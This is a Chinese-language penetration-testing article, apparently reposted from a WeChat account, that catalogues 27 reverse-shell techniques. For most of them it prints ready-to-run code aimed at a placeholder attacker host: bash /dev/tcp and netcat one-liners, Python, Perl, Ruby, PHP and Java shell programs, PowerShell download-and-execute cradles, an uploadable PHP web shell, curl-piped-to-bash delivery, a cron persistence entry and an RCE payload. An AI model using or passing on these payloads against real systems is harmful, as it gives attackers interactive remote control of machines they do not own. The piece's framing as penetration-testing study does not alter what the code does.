在渗透测试的实践中,反弹shell(Reverse Shell)是一项至关重要的技术,允许攻击者从远程位置获得对目标系统的交互式命令行访问权限。这一技术通过在被攻击系统上执行特定命令,将shell会话反向传输到攻击者控制的机器上,从而绕过防火墙等安全机制的限制。本文将详细探讨渗透测试中反弹shell的27种方法,但鉴于篇幅和实际操作的安全性考虑,将重点介绍部分高频使用的姿势,仅供参考。
1. Bash反弹
Bash反弹是最常见且易于理解的反弹shell方法之一。利用Bash的特殊设备/dev/tcp
,可以轻松地建立TCP连接并传输数据。
# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
其中x.x.x.x
为攻击者机器的IP地址,port
为监听的端口。
2. Netcat反弹
Netcat(nc)是一个功能强大的网络工具,用于读写TCP和UDP连接。在反弹shell中,Netcat常被用作监听和连接的工具。
# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
nc -e /bin/bash x.x.x.x port
如果目标系统没有-e
参数,可以使用命名管道(FIFO)来绕过限制。
3. Telnet反弹
Telnet协议用于远程登录服务,尽管安全性较低,但在特定场景下仍可用于反弹shell。
# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444
nc -lvvp 5555
# 目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555
这种方法利用了两个端口分别用于输入和输出。
4. Socat反弹
Socat是一个多功能的网络工具,功能类似于Netcat的加强版。
# 攻击者主机上执行监听
socat TCP-LISTEN:port,fork -
# 目标主机上执行
socat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane
Socat提供了更多的选项和灵活性,如pty(伪终端)等。
5. Python反弹
Python脚本语言因其强大的网络库和跨平台特性,在反弹shell中也非常有用。
# 目标主机上执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'
这段Python代码创建了一个socket连接,并将标准输入、输出和错误输出重定向到该连接。
6. Perl反弹
Perl是一种功能丰富的编程语言,适用于各种任务,包括网络编程。
# 目标主机上执行
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这段Perl代码建立了TCP连接,并重定向了标准输入、输出和错误输出。
7. Ruby反弹
Ruby是一种简单快捷的面向对象脚本语言,也常用于反弹shell。
# 目标主机上执行
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
这段Ruby代码创建了一个TCP连接,并读取攻击者发送的命令,然后执行并将结果返回。
8. PHP反弹
PHP是服务器端执行的脚本语言,尤其适用于Web开发。在Web环境中,PHP反弹shell尤其有用。
# 目标主机上执行(假设有Web服务器权限)
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'
这段PHP代码创建了一个TCP连接,并执行bash shell,将标准输入、输出和错误输出重定向到该连接。
9. Powershell反弹(Windows环境)
在Windows环境中,Powershell是一个强大的脚本工具,可以用于反弹shell。
# 攻击者主机上执行监听(使用Powercat脚本)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x:port/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd
# 目标主机上执行(假设可以下载并执行Powercat脚本)
Powercat是一个powershell函数,可以从远程服务器下载并执行。
10. OpenSSL反弹
OpenSSL是一个强大的加密库,也可以用于反弹shell。
# 攻击者主机上生成密钥并启用监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port port
# 目标主机上执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:port > /tmp/s; rm /tmp/s
这种方法利用OpenSSL生成自签名证书,并通过TLS/SSL隧道传输shell会话。
当然,以下是对上述提到的第11到17种反弹shell方法的详细代码和说明:
11. Java反弹
Java反弹shell通常涉及到创建一个Socket连接,并通过该连接执行命令。以下是一个简单的Java反弹shell示例:
import java.io.*;
import java.net.*;
publicclassReverseShell{
publicstaticvoidmain(String[] args){
Stringhost="x.x.x.x";// 攻击者IP
intport=1234;// 监听端口
try(Socketsocket=newSocket(host, port);
BufferedReaderin=newBufferedReader(newInputStreamReader(socket.getInputStream()));
PrintWriterout=newPrintWriter(socket.getOutputStream(),true);
BufferedReaderstdIn=newBufferedReader(newInputStreamReader(System.in));
BufferedWriterstdOut=newBufferedWriter(newOutputStreamWriter(System.out))){
// 线程用于读取攻击者的命令并执行
newThread(()->{
try{
String command;
while((command = in.readLine())!=null){
Processprocess=Runtime.getRuntime().exec(command);
// 获取命令输出
try(BufferedReaderprocessIn=newBufferedReader(newInputStreamReader(process.getInputStream()));
BufferedReaderprocessError=newBufferedReader(newInputStreamReader(process.getErrorStream()))){
String line;
while((line = processIn.readLine())!=null){
out.println(line);
}
while((line = processError.readLine())!=null){
out.println(line);
}
}
}
}catch(Exception e){
e.printStackTrace();
}
}).start();
// 线程用于将本地shell的输出发送到攻击者
newThread(()->{
try{
String line;
while((line = stdIn.readLine())!=null){
out.println(line);
}
}catch(IOException e){
e.printStackTrace();
}
}).start();
}catch(IOException e){
e.printStackTrace();
}
}
}
编译并运行此Java程序后,将在指定的攻击者IP和端口上建立连接,并允许攻击者执行命令。
12. Lua反弹
Lua是一种轻量级的脚本语言,也可以用于创建反弹shell。以下是一个Lua反弹shell的示例:
local host ="x.x.x.x"
local port =1234
local socket =require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)
localfunction read_command()
local command = tcp:receive("*l")
return command
end
localfunction execute_command(command)
local file =io.popen(command)
localoutput= file:read("*all")
file:close()
tcp:send(output.."n")
end
whiletruedo
local command = read_command()
if command ==nilthenbreakend
execute_command(command)
end
tcp:close()
请注意,Lua标准库不包含socket模块,因此在实际使用中,可能需要安装一个额外的Lua socket库。
13. Nishang框架(PowerShell)
Nishang是一个用于渗透测试的PowerShell攻击框架,提供了多种反弹shell脚本。以下是一个使用Nishang的Invoke-ReverseTCPShell脚本的示例:
# 在攻击者机器上监听
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234
# 在目标机器上执行(假设可以下载并执行脚本)
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-ReverseTcpShell.ps1')
Invoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234
在实际使用中,需要将Invoke-PowerShellTcp.ps1
和Invoke-ReverseTcpShell.ps1
脚本上传到Web服务器上,并确保目标机器可以访问这些脚本。
14. 使用Web服务器
通过上传包含反弹shell代码的Web脚本,并利用Web服务器执行,是一种常见的反弹shell方法。以下是一个简单的PHP反弹shell示例:
<?php
$ip='x.x.x.x';// 攻击者IP
$port=1234;// 监听端口
$sock=fsockopen($ip,$port);
$proc=proc_open('/bin/bash -i',array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>
将此PHP脚本上传到目标Web服务器的可访问目录中,并通过浏览器访问该脚本,即可建立反弹shell连接。
15. 利用系统工具(如curl或wget)
利用curl
或wget
等工具下载并执行反弹shell脚本也是一种常见的方法。以下是一个使用curl
下载并执行反弹shell脚本的示例:
# 在攻击者机器上创建一个简单的bash反弹shell脚本,并将其托管在Web服务器上
echo 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1' > reverse_shell.sh
python3 -m http.server 80 # 使用Python的HTTP服务器托管脚本
# 在目标机器上执行curl命令下载并执行反弹shell脚本
curl http://x.x.x.x/reverse_shell.sh | bash
16. 利用漏洞(如远程代码执行漏洞)
如果目标系统存在远程代码执行(RCE)漏洞,攻击者可以直接利用该漏洞执行反弹shell命令。以下是一个假设的利用RCE漏洞执行反弹shell命令的示例:
# 假设目标系统有一个RCE漏洞,可以通过URL参数执行任意命令
# 例如:http://target.com/vulnerable_page.php?cmd=whoami
# 构造反弹shell命令并通过RCE漏洞执行
curl "http://target.com/vulnerable_page.php?cmd=bash+-i+>&+/dev/tcp/x.x.x.x/1234+0>&1"
实际的RCE漏洞利用可能需要根据漏洞的具体情况进行调整。
17. 自定义脚本
根据目标系统的环境和权限,攻击者可以编写自定义的反弹shell脚本。以下是一个简单的自定义Python反弹shell脚本示例:
import os
import socket
host ='x.x.x.x'# 攻击者IP
port =1234# 监听端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)# stdin
os.dup2(s.fileno(),1)# stdout
os.dup2(s.fileno(),2)# stderr
os.system('/bin/bash -i')
将此脚本上传到目标系统并执行,即可建立反弹shell连接。
18. 使用Python的pty
库模拟终端
Python的pty
库可以用于模拟伪终端(pseudo-terminal),从而提供更真实的shell体验。
import os
import pty
import socket
host ='x.x.x.x'
port =1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 使用pty模拟终端
master, slave = pty.openpty()
os.dup2(slave.fileno(),0)
os.dup2(slave.fileno(),1)
os.dup2(slave.fileno(),2)
os.execvp('/bin/bash',['/bin/bash','-i'])
# 注意:在实际使用中,可能需要在攻击者端使用类似screen或tmux的工具来管理pty会话
19. 利用Python的paramiko
库进行SSH反弹
如果目标系统允许SSH连接,并且攻击者拥有相应的凭据,那么可以使用paramiko
库进行SSH反弹。
import paramiko
import subprocess
import os
# 攻击者端设置SSH服务器监听
# 需要一个外部的SSH服务器或者使用Python的SSH库(如paramiko的ServerInterface)来模拟
# 这里假设已经有一个SSH服务器在监听
# 目标端执行以下Python代码
hostname ='x.x.x.x'# 攻击者SSH服务器IP
port =22
username ='attacker_user'
password ='attacker_password'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
# 开启一个反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()
# 将标准输入、输出和错误输出重定向到该SSH会话
os.dup2(chan.makefile('wb',-1).fileno(),1)
os.dup2(chan.makefile('rb',-1).fileno(),0)
os.dup2(chan.makefile_stderr('rb',-1).fileno(),2)
# 启动bash shell
os.execvp('/bin/bash',['/bin/bash','-i'])
注意:这种方法需要攻击者控制一个SSH服务器,并且目标系统允许SSH连接。此外,由于paramiko
的ServerInterface
比较复杂,这里假设已经有一个SSH服务器在监听。
20. 使用Perl的IO::Socket
模块
Perl的IO::Socket
模块可以用于创建网络连接,从而实现反弹shell。
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
my $remote_ip ='x.x.x.x';# 攻击者IP
my $remote_port =1234;# 监听端口
my $sock = IO::Socket::INET->new(PeerAddr => $remote_ip,PeerPort => $remote_port,Proto =>'tcp');
die"Could not create socket: $!n"unless $sock;
# 将标准输入、输出和错误输出重定向到socket
open STDIN,">&=$sock";
open STDOUT,">&=$sock";
open STDERR,">&=$sock";
# 启动shell
exec("/bin/bash -i");
21. 利用Java的JSch
库进行SSH反弹(类似paramiko)
JSch
是一个Java实现的SSH2库,可以用于创建SSH连接。如果目标系统允许SSH连接,并且攻击者拥有凭据,那么可以使用JSch
进行SSH反弹。
因为涉及的内容较多,包括设置SSH服务器、处理认证等,不再给出完整的Java代码示例。但基本思路是:在攻击者端设置一个SSH服务器,然后在目标端使用JSch
库连接到该服务器,并开启一个反向隧道。
22. 使用Ruby的drb
(Distributed Ruby)进行反弹
Ruby的drb
(Distributed Ruby)可以用于创建分布式对象系统。虽然不常用于反弹shell,但在某些场景下可能是一个有趣的选择。
注意:由于drb
不是专门用于反弹shell的,因此实现起来可能比较复杂,并且需要攻击者设置一个DRuby服务器。
23. 利用目标系统的计划任务或cron作业
如果攻击者能够在目标系统上添加计划任务或cron作业,那么可以设置一个任务来执行反弹shell命令。
例如,在Linux系统上,可以使用crontab -e
来添加一个定时任务:
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1'
注意:这种方法需要攻击者具有在目标系统上添加计划任务或cron作业的权限。
24. 使用目标系统的服务或守护进程
某些服务或守护进程可能允许攻击者配置外部命令或脚本的执行。攻击者可以利用这些服务来执行反弹shell命令。
例如,某些Web服务器允许在配置文件中指定错误处理脚本。攻击者可以修改这些配置文件,使其在发生错误时执行反弹shell命令。
注意:这种方法需要攻击者具有修改目标系统服务或守护进程配置的权限。
25. 利用目标系统的漏洞利用工具集
许多漏洞利用工具集(如Metasploit Framework)提供了自动化的反弹shell功能。攻击者可以使用这些工具集来利用目标系统的已知漏洞,并自动执行反弹shell命令。
注意:使用漏洞利用工具集需要攻击者对目标系统的漏洞有深入的了解,并且需要确保所使用的工具集是最新且安全的。
26. 使用目标系统的内置脚本语言(如Python、Perl等)的Web接口
如果目标系统提供了内置脚本语言(如Python、Perl等)的Web接口(如CGI、FastCGI等),攻击者可能可以利用这些接口来执行反弹shell命令。
例如,攻击者可以上传一个包含反弹shell代码的CGI脚本,并通过Web浏览器访问该脚本来触发反弹shell。
注意:这种方法需要攻击者能够上传并执行Web脚本,并且目标系统需要允许这些脚本语言的Web接口。
27. 利用目标系统的远程桌面协议(如RDP、VNC等)的反向连接功能
某些远程桌面协议(如RDP、VNC等)允许反向连接,即目标系统主动连接到攻击者的机器。攻击者可以配置这些协议以使用反向连接模式,并在目标系统上启动远程桌面客户端来建立连接。
注意:这种方法需要攻击者具有在目标系统上启动远程桌面客户端的权限,并且目标系统需要支持反向连接功能。
反弹shell是渗透测试中不可或缺的技术之一,允许攻击者获得对目标系统的交互式访问权限,网络安全从业者需要掌握且擅长,能根据不同的场景来使用不同的反弹shell姿势。
原文始发于微信公众号(HACK之道):反弹shell的27种方法 都学会搞定90%的渗透!
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论